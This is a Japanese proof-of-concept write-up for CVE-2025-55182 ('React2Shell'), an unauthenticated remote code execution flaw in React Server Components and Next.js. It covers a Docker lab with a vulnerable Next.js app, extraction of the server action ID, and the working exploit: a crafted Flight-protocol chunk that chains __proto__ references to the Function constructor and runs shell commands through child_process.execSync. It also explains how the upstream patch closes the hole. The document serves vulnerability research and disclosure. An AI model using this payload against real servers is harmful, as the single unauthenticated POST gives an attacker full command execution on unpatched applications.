
CVE-2025-55182 (React2Shell) の概念実証: React Server Components / Next.js における Flight プロトコルのデシリアライゼーションを介した認証不要のRCE。
CVE-2025-55182 は、2025 年に最も広範囲に影響を与えた Web フレームワークの脆弱性の 1 つです。React Server Components(RSC)は現代の Next.js アプリケーションの主流アーキテクチャとなっており、create-next-app で作成された多数の標準プロジェクトが影響範囲内にあり、カスタムコードは一切不要で悪用可能です。
| 項目 | 内容 |
|---|---|
| CVE 番号 | CVE-2025-55182 |
| 別名 | React2Shell |
| 脆弱性の種類 | 認証不要のリモートコード実行(Unauthenticated RCE);CWE-502 信頼できないデータの逆シリアル化(Deserialization of Untrusted Data)[3] |
| CVSS スコア | 10.0(Critical)(CVSS 3.1、Facebook/CNA [2]) |
| 影響を受けるパッケージ | react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack |
| 影響を受けるバージョン | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 以上、15.x、16.x |
| 攻撃の複雑さ | 極めて低い(単一の HTTP POST リクエスト) |
| 認証の要否 | 不要 |
脆弱性を含むバージョン(16.0.6)を使用して Next アプリを作成:
pnpm create [email protected] next-app --yes
next-app/app/ の下に actions.ts を追加し、Server Action としてマークします:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
ホームページ(例:app/page.tsx)にフォームを追加し、action を上記の testAction に設定し、少なくとも 1 つのフィールド(例:hidden input)を含めます。
Next.js はこのフォーム用に HTML 内で
name="$ACTION_ID_<40 文字 hex>"の hidden input を生成します。POC はホームページの HTML から正規表現でこの ID を抽出します。
プロジェクト内の next-app/Dockerfile と docker-compose.yml を使用して Next アプリをビルドおよび実行できます。作成方法は公式サンプル [8] を参照してください。
プロジェクトのルートディレクトリで実行:
docker compose up --build -d
http://localhost:3000 で起動した Next アプリにアクセスできます。
POC 終了後、Docker 環境を完全に削除します:
docker compose down -v
POC を実行すると、スクリプトがホームページを fetch し、正規表現 \$ACTION_ID_([a-f0-9]{40})/ で ID を抽出します。例:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
プロジェクトのルートディレクトリで依存関係をインストールしてから実行:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
主要なコード断片は次のとおりです:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
以下は、ターゲットホストにファイルを書き込む例です:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec を使用してコンテナ内に入って確認するか、Docker Desktop 経由で操作できます。脆弱性は React の Flight プロトコル逆シリアル化メカニズム(RSC Flight Deserializer)にあります。このメカニズムはサーバーとクライアント間で React コンポーネントの状態を転送する役割を担っていますが、処理フローには深刻な信頼境界の問題があります。
React Flight プロトコルは、React が Server Components と Server Actions のために設計したワイヤーフォーマットです。コンポーネントツリーや関数の引数などを JSON で表現された chunk ストリーム にシリアル化し、
$数字、$数字:キー名によって chunk 間に参照を確立し、サーバーが完全な JavaScript の値を復元できるようにします。
攻撃者が悪意のある HTTP POST を送信
↓
[ステージ 1] 自己参照ループオブジェクトを作成(Self-referential loop)
↓
[ステージ 2] JavaScript エンジンを欺いて攻撃者が制御する関数を呼び出させる
↓
[ステージ 3] 悪意のあるデータを注入して Flight の初期化フローをトリガー
↓
[ステージ 4] Blob Handler 経由で Function コンストラクタを呼び出す
↓
任意の JavaScript がサーバー側で実行される(RCE)
React の Server Functions(Next.js では Server Actions)は、フロントエンドからバックエンドへ送信するデータを React Flight プロトコル で「ひと塊ずつ」の chunk にシリアル化し、フォームデータ(form data)として送信します。
この設計の利点は次のとおりです:
chunk は相互に参照できます。例:
["$1"](chunk 1 を参照){"object":"fruit","name":"$2:fruitName"}(chunk 2 の fruitName を参照){"fruitName":"cherry"}サーバーが解釈すると、{ object: 'fruit', name: 'cherry' } が得られます。つまり、このプロトコルは $数字:キー名 で他の chunk のプロパティを指し、最終的な JavaScript オブジェクトに組み立てることができます。
修正前の実装はこれらの参照を解析する際、「そのキーが本当にそのオブジェクト自身に存在するか」を厳密にチェックしていませんでした。そのため攻撃者は、参照を通じて オブジェクトのプロトタイプ(prototype) 上のプロパティを読み取ることができました。
たとえば、次のような payload を構築できます:
["$1:__proto__:constructor:constructor"]{"x":1}サーバーが「chunk 1 の __proto__ → constructor → constructor」を解析すると、Function コンストラクタ([Function: Function])、つまり「文字列から関数を生成する」組み込みコンストラクタを取得します。すなわち:不正な参照チェーンを通じてサーバー側で Function を取得し、文字列をコードとして実行できるようになります。
Next.js はフォームを受信すると、decodeReplyFromBusboy で chunk を 1 つの値に復元し、その値に対して await を実行します。
JavaScript では、オブジェクトが .then メソッドを持つ場合、それは thenable と見なされます。await するとこの .then が呼び出されます。そのため、「デコード結果」の .then を攻撃者が制御する関数(例:前述の Function コンストラクタ)に向けさせることができれば、await の時点でそのロジックが実行されます。攻撃の次のステップは、「デコード後に thenable と同様になる」オブジェクトを構築し、その .then を意図した呼び出しポイント(call gadget)に向けることです。
$@0 で「元の chunk」を参照
プロトコルにおいて $@数字 は「N 番目の chunk の元の内容を取得し、それ以上解析しない」ことを意味します。そのため chunk 1 を "$@0" にすることで、解析プロセスが「chunk 0 自身」の元の表現を読み取るようにできます。
chunk 0 の .then を Chunk の prototype に向ける
chunk 0 が {"then": "$1:__proto__:then", ...} のようなオブジェクトで、chunk 1 が "$@0" の場合、解析時に chunk 0 の .then が Chunk.prototype.then に設定されます(Flight プロトコルでは Chunk 自体が thenable です)。これにより、Next.js がデコード結果を await すると、Chunk の .then ロジックに入ります。
initializeModelChunk をトリガー
Chunk.prototype.then 内では、この「偽の chunk」の status が "resolved_model" の場合、initializeModelChunk に入ります。ここでは chunk の を JSON として解析し、解析されたオブジェクトに対して「復活」(revive)の処理を 1 回実行します。この処理ではさまざまな特殊プレフィックス(例: で始まる blob 参照)が処理されます。
React は PR #35277 [9](commit e2fd5dc [10])でこの脆弱性を修正しました。要点は次の 2 つです:
prototype チェーンを辿らないプロパティ解析
requireModule などで chunk 参照を解析するロジックでは、まず hasOwnProperty で「そのキーが本当にそのオブジェクト自身に存在するか」を確認するように変更されました。存在しない場合は undefined を返し、__proto__ から constructor などの公開されるべきでないプロパティを取得しません。この修正は複数の Flight 関連モジュール(例:ReactFlightClientConfigBundlerNode、ReactFlightClientConfigBundlerWebpack、および Parcel / Turbopack の対応設定)に適用され、「参照を通じて Function コンストラクタを取得 → thenable を構築 → get gadget をトリガーして任意のコードを実行する」というエクスプロイトチェーンを遮断します。
decodeReplyFromBusboy のエラーハンドリング
form data(resolveField、resolveFileComplete など)の解析時に try/catch を追加し、解析でエラーが発生した場合は即座に busboyStream.destroy(error) を呼び出します。これによりエラーが正しく伝播され、ストリームが不整合な状態になるのを防ぎ、解析異常時の攻撃可能な範囲を減らします。
value$B呼び出しポイント:_response._formData.get(_prefix + id)
$B プレフィックスを処理するとき、プログラムは次を実行します:
response._formData.get(response._prefix + ある id)。
偽の chunk 内で _response を通じて _formData と _prefix を制御し、_formData.get を Function コンストラクタ に向け、_prefix を実行したいコード文字列に設定すると、その行は次のようになります:
Function("私たちが書いたコード" + "0")
つまり「文字列から関数を生成する」ことです。この関数はその chunk の .then の戻り値となり、同じ promise チェーン内で await されて呼び出され、サーバー上で私たちのコードが実行されます。
実際の RCE
「私たちが書いたコード」を、たとえば次のように変更します:
process.mainModule.require('child_process').execSync('実行するシステムコマンド');
これにより、サーバー上で リモートコード実行(RCE) が達成できます。